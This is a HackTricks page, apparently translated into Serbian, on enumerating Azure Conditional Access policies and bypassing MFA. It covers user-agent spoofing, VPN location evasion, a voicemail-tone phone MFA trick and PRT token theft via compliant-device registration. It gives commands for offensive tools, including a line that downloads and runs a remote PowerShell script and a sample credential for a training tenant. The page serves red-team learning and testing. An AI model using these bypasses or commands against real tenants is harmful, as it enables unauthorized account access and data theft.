Az - Politike uslovnog pristupa i MFA zaobilaženje
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih uslova. Ove politike pomažu organizacijama da osiguraju svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.
Politike uslovnog pristupa u osnovi definišu Ko može pristupiti Čemu iz Gde i Kako.
Evo nekoliko primera:
- Politika rizika prijavljivanja: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
- Politika usklađenosti uređaja: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.
Enumeracija
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
Bypass-ovi politika uslovnog pristupa
Moguće je da politika uslovnog pristupa proverava neke informacije koje se lako mogu manipulisati, omogućavajući zaobilaženje politike. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.
Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti korisnike koji su pogođeni i ciljne resurse (kao što su sve cloud aplikacije).
Takođe je potrebno konfigurisati uslove koji će pokrenuti politiku:
- Mreža: IP, IP opsezi i geografske lokacije
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
- Microsoft rizici: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
- Platforme uređaja: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
- Klijentske aplikacije: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
- Filter za uređaje: Moguće je generisati pravilo vezano za korišćeni uređaj
- Tokovi autentifikacije: Opcije su “Tok uređajnog koda” i “Prenos autentifikacije”
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
Mogući rezultati su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…
Platforme uređaja - Uslov uređaja
Moguće je postaviti uslov zasnovan na platformi uređaja (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na user-agent-u pa je lako zaobići. Čak i postavljanjem svih opcija da primoraju MFA, ako koristite user-agent koji nije prepoznat, moći ćete da zaobiđete MFA ili blokadu:
.png)
Samo slanjem nepoznatog user-agent-a (kao što je Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile
) dovoljno je da ne pokrene ovaj uslov.
Možete ručno promeniti user-agent u alatima za razvoj:
.png)
Ili koristiti proširenje za pregledač poput ovog.
Lokacije: Zemlje, IP opsezi - Uslov uređaja
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi VPN u dozvoljenoj zemlji ili pokušati da pronađe način da pristupi sa dozvoljene IP adrese kako bi zaobišao ove uslove.
Cloud aplikacije
Moguće je konfigurisati politike uslovnog pristupa da blokiraju ili primoraju, na primer, MFA kada korisnik pokuša da pristupi specifičnoj aplikaciji:
.png)
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete pristupiti bilo kojoj aplikaciji.
Alat AzureAppsSweep ima desetine ID-eva aplikacija hardkodiranih i pokušaće da se prijavi u njih i obavesti vas, pa čak i dati token ako bude uspešan.
Da biste testirali specifične ID-eve aplikacija u specifičnim resursima, takođe možete koristiti alat kao što je:
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
Pored toga, moguće je zaštititi metodu prijavljivanja (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat Invoke-MFASweep vrši neke provere kako bi pokušao da zaobiđe ove zaštite.
Alat donkeytoken takođe može biti korišćen u slične svrhe, iako izgleda da nije održavan.
Alat ROPCI takođe može biti korišćen za testiranje ovih zaštita i proveru da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz whitebox perspektive. Prvo morate preuzeti listu aplikacija koje su dozvoljene u tenant-u, a zatim će pokušati da se prijavi u njih.
Ostali Az MFA zaobilaženja
Ton zvona
Jedna Azure MFA opcija je da primite poziv na konfigurisanom broju telefona gde će biti zatraženo od korisnika da pošalje znak #
.
caution
Pošto su znakovi samo tonovi, napadač bi mogao da kompromituje poruku govora na broju telefona, da kao poruku postavi ton #
i zatim, kada se zahteva MFA, da osigura da je telefon žrtve zauzet (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.
Usklađeni uređaji
Politike često zahtevaju usklađeni uređaj ili MFA, tako da bi napadač mogao da registruje usklađeni uređaj, dobije PRT token i na ovaj način zaobiđe MFA.
Počnite tako što ćete registrovati usklađeni uređaj u Intune, zatim dobijte PRT sa:
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:
Alati
AzureAppsSweep
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije.
Ovo je korisno da se vidi da li niste obavezni da koristite MFA za prijavu na neke aplikacije koje kasnije možete zloupotrebiti da povećate privilegije.
roadrecon
Dobijte sve politike
roadrecon plugin policies
Invoke-MFASweep
MFASweep je PowerShell skripta koja pokušava da prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena. U zavisnosti od toga kako su konfigurirane politike uslovnog pristupa i druga podešavanja višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na on-prem ADFS server ako je otkriven.
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
ROPCI
Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
tip
Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste generisali listu aplikacija za brute-force.
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
donkeytoken
Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd..
git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force
Testirajte svaki portal da li je moguće prijaviti se bez MFA:
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Zato što Azure portal nije ograničen, moguće je prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup njemu:
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama sa generisanim tokenom:
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.